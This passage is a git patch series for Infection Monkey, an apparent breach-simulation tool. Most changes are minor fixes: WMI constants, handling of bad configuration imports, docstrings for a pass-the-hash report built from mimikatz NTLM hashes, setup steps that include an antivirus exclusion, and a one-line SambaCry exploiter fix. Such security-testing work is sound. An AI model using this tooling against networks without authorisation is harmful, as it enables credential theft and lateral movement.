wmi_info['Win32_Product'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] def process_and_handle_wmi_info(self): @@ -128,7 +129,7 @@ class WMIHandler(object): # if entity is domain entity, add the monkey id of current machine to secrets_location. # (found on this machine) if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE}, {'$addToSet': {'secret_location': self.monkey_id}}) def update_admins_retrospective(self): @@ -148,7 +149,7 @@ class WMIHandler(object): mongo.db.groupsandusers.update_one({'SID': sid}, {'$addToSet': {'admin_on_machines': machine_id}}) entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': 1, 'entities_list': 1}) + {'type': USERTYPE, 'entities_list': 1}) if entity_details.get('type') == 2: self.add_admin(entity_details, machine_id) From 3bf917af80056686bcb1131a0de54e348ca7d23c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:28:52 +0200 Subject: [PATCH 229/243] RE-CR: tiny corrections --- .../monkey_island/cc/services/groups_and_users_consts.py | 5 +++-- monkey/monkey_island/cc/services/wmi_handler.py | 8 ++++---- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index 03fefbe02..0e22a34ba 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -1,5 +1,6 @@ """This file will include consts values regarding the groupsandusers collection""" -USERTYPE = 1 +__author__ = 'maor.rayzin' -GROUPTYPE = 2 \ No newline at end of file +USERTYPE = 1 +GROUPTYPE = 2 diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index a0ffcba8b..5842ae5c6 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,5 +1,5 @@ from cc.database import mongo -from cc.services.groups_and_users_consts import USERTYPE +from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE __author__ = 'maor.rayzin' @@ -66,7 +66,7 @@ class WMIHandler(object): base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') base_entity['secret_location'] = [] - base_entity['type'] = 1 + base_entity['type'] = USERTYPE self.info_for_mongo[base_entity.get('SID')] = base_entity def add_groups_to_collection(self): @@ -76,7 +76,7 @@ class WMIHandler(object): else: base_entity = self.build_entity_document(group, self.monkey_id) base_entity['entities_list'] = [] - base_entity['type'] = 2 + base_entity['type'] = GROUPTYPE self.info_for_mongo[base_entity.get('SID')] = base_entity def create_group_user_connection(self): @@ -150,6 +150,6 @@ class WMIHandler(object): {'$addToSet': {'admin_on_machines': machine_id}}) entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, {'type': USERTYPE, 'entities_list': 1}) - if entity_details.get('type') == 2: + if entity_details.get('type') == GROUPTYPE: self.add_admin(entity_details, machine_id) From 0bd252d83206b0a3afd75cd6954095c8cbb05071 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:51:23 +0200 Subject: [PATCH 230/243] RE-CR: more docs --- monkey/monkey_island/cc/services/pth_report.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index f72a430ba..858f7c87a 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -8,7 +8,12 @@ from cc.services.node import NodeService __author__ = 'maor.rayzin' + class PTHReportService(object): + """ + A static class supplying utils to produce a report based on the PTH related information + gathered via mimikatz and wmi. + """ @staticmethod def __dup_passwords_mongoquery(): From bdda578920764c228cfd7da7e1cc6398b04a7f5e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 5 Nov 2018 15:15:02 +0200 Subject: [PATCH 231/243] First fix: No indication for bad configuration file loaded via the "Import" button in configuration page. Added specific error handling for that part. --- .../cc/resources/monkey_configuration.py | 5 +++-- monkey/monkey_island/cc/services/config.py | 7 ++++++- .../cc/ui/src/components/pages/ConfigurePage.js | 16 ++++++++++++++++ 3 files changed, 25 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..7032ba643 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -1,7 +1,7 @@ import json import flask_restful -from flask import request, jsonify +from flask import request, jsonify, abort from cc.auth import jwt_required from cc.services.config import ConfigService @@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource): if 'reset' in config_json: ConfigService.reset_config() else: - ConfigService.update_config(config_json, should_encrypt=True) + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index c34db0eac..64b359f61 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -977,9 +977,14 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: - ConfigService.encrypt_config(config_json) + try: + ConfigService.encrypt_config(config_json) + except KeyError as e: + logger.error('Bad configuration file was submitted.') + return False mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) logger.info('monkey config was updated') + return True @staticmethod def init_default_config(): diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index afa42d6e7..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent { headers: {'Content-Type': 'application/json'}, body: JSON.stringify(this.state.configuration) }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }) .then(res => res.json()) .then(res => { this.setState({ @@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent { configuration: res.configuration }); this.props.onStatusChange(); + }).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); }); }; @@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent { Failed importing configuration. Invalid config file. : ''} + { this.state.lastAction === 'invalid_configuration' ? +
    + + An invalid configuration file was imported and submitted, probably outdated. +
    + : ''} { this.state.lastAction === 'import_success' ?
    From 53ed6004b56263dec6583ee942cb29095cbbe3e9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 5 Nov 2018 16:10:27 +0200 Subject: [PATCH 232/243] Second Fix: info log wasn't being created on some envs Changed the path to the json config file to be a relative generic path --- monkey/monkey_island/cc/main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a739c3a35..86015b5d4 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -1,6 +1,7 @@ from __future__ import print_function # In python 2.7 import os +import os.path import sys import time import logging @@ -12,7 +13,8 @@ if BASE_PATH not in sys.path: from cc.island_logger import json_setup_logging # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG) +json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'), + default_level=logging.DEBUG) logger = logging.getLogger(__name__) from cc.app import init_app From f12ee32e219f66dd08594cec7f9b61a88cdf5447 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:18 +0200 Subject: [PATCH 233/243] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 858f7c87a..89fe2aad5 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -18,7 +18,7 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): """ - This function build and query the mongoDB for users found that are using the same passwords, this is done + This function builds and queries the mongoDB for users that are using the same passwords. this is done by comparing the NTLM hash found for each user by mimikatz. :return: A list of mongo documents (dicts in python) that look like this: From c28f2d6c63a84f5a58aa2d8565bc4084020789e3 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:23 +0200 Subject: [PATCH 234/243] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 89fe2aad5..fad7ecf17 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -50,7 +50,7 @@ class PTHReportService(object): @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): """ - This function finds for each admin user, what machines its admin of and compile them to a list. + This function finds for each admin user, which machines its an admin of, and compile them to a list. :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admin's domain name :return: From 5b8b0258c056a405adb684b4c858d71e99643cc6 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:28 +0200 Subject: [PATCH 235/243] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index fad7ecf17..3ae19cf17 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -52,7 +52,7 @@ class PTHReportService(object): """ This function finds for each admin user, which machines its an admin of, and compile them to a list. :param admin_on_machines: A list of "monkey" documents "_id"s - :param domain_name: The admin's domain name + :param domain_name: The admins' domain name :return: A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. """ From cf9656068bfad60e4cd93902d4e63a2b385520a8 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:32 +0200 Subject: [PATCH 236/243] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 3ae19cf17..6a0138c4f 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -62,7 +62,7 @@ class PTHReportService(object): @staticmethod def __strong_users_on_crit_query(): """ - This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hash and + This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and are administrators on machines with services predefined as important services thus making these machines critical. :return: From 9e68bf0bedc94d7eaee390aeab420db705c8d75e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Nov 2018 13:41:43 +0200 Subject: [PATCH 237/243] Added a few missing steps to monkey_island setup instructions (readme.txt in monkey_island) --- monkey/monkey_island/readme.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 320f5caa3..7d727bbcc 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,6 +1,7 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: +0. Exclude the folder you are planning to install monkey on from windows deffender as it will start deleting source files. 1. Create folder "bin" under monkey_island 2. Place portable version of Python 2.7 2.1. Download and install from: https://www.python.org/download/releases/2.7/ @@ -11,8 +12,9 @@ How to set up the Monkey Island server: 3. Place portable version of mongodb 3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip 3.2. Extract contents from bin folder to monkey_island\bin\mongodb. + 3.3. Create monkey_island\db folder. 4. Place portable version of OpenSSL - 4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip + 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.2. Extract content from bin folder to monkey_island\bin\openssl 5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572 From 73856a8be933d513dfb03ea8dd8a29102b74c1ce Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 6 Nov 2018 18:19:52 +0200 Subject: [PATCH 238/243] HOTFIX: fixing location to be str and not unicode, BytesIO cant work with unicode. --- monkey/infection_monkey/exploit/sambacry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index f55b43553..9e08d2dff 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -311,7 +311,7 @@ class SambaCryExploiter(HostExploiter): return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) + return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location))) @staticmethod def is_share_writable(smb_client, share): From 527c06b35c7266eabd14bf943a1afe9c065b5fdc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Nov 2018 18:34:36 +0200 Subject: [PATCH 239/243] Changed rule no. 0. to be more general and without typos. --- monkey/monkey_island/readme.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 7d727bbcc..82deb43b6 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,7 +1,7 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: -0. Exclude the folder you are planning to install monkey on from windows deffender as it will start deleting source files. +0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. 1. Create folder "bin" under monkey_island 2. Place portable version of Python 2.7 2.1. Download and install from: https://www.python.org/download/releases/2.7/ From 0361219488f8222ba495a3f0bad7982833f34d32 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 7 Nov 2018 16:05:36 +0200 Subject: [PATCH 240/243] HOTFIX: missing pckg in requirements.txt -fixed --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c951c73ba..468b748e8 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -13,4 +13,5 @@ PyInstaller six ecdsa netifaces -ipaddress \ No newline at end of file +ipaddress +wmi \ No newline at end of file From b14384fcb54b52c5f05508effc85a94fc9e74763 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 12:16:54 +0200 Subject: [PATCH 241/243] HOTFIX: Ignored cases where a user doesn't have hostname in shared_passwords issue --- monkey/monkey_island/cc/services/pth_report.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 6a0138c4f..7e4d6e1c2 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -119,7 +119,8 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['hostname'] + '\\' + i['username'] for i in group['cred_groups']], + 'shared_with': [i['hostname'] if i['hostname'] + else i['domain_name'] + '\\' + i['username'] for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From 3bb8531b4d29b7bc15ea019923bac702f87335aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 14:01:03 +0200 Subject: [PATCH 242/243] HOTFIX: Better label constructing for dup passwords issue --- monkey/monkey_island/cc/services/pth_report.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 7e4d6e1c2..3d7375dc1 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -93,6 +93,10 @@ class PTHReportService(object): ] return mongo.db.groupsandusers.aggregate(pipeline) + @staticmethod + def __build_dup_user_label(i): + return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username'] + @staticmethod def get_duplicated_passwords_nodes(): users_cred_groups = [] @@ -119,8 +123,7 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['hostname'] if i['hostname'] - else i['domain_name'] + '\\' + i['username'] for i in group['cred_groups']], + 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From 9812dcd77dd88636fadc7e4e6063c02aa0df3d0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 15:18:52 +0200 Subject: [PATCH 243/243] A typo in the report page --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 67dc9e0c4..f88df4831 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -478,7 +478,7 @@ class ReportPageComponent extends AuthComponent { return (

    - Credential Map + Credentials Map

    This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.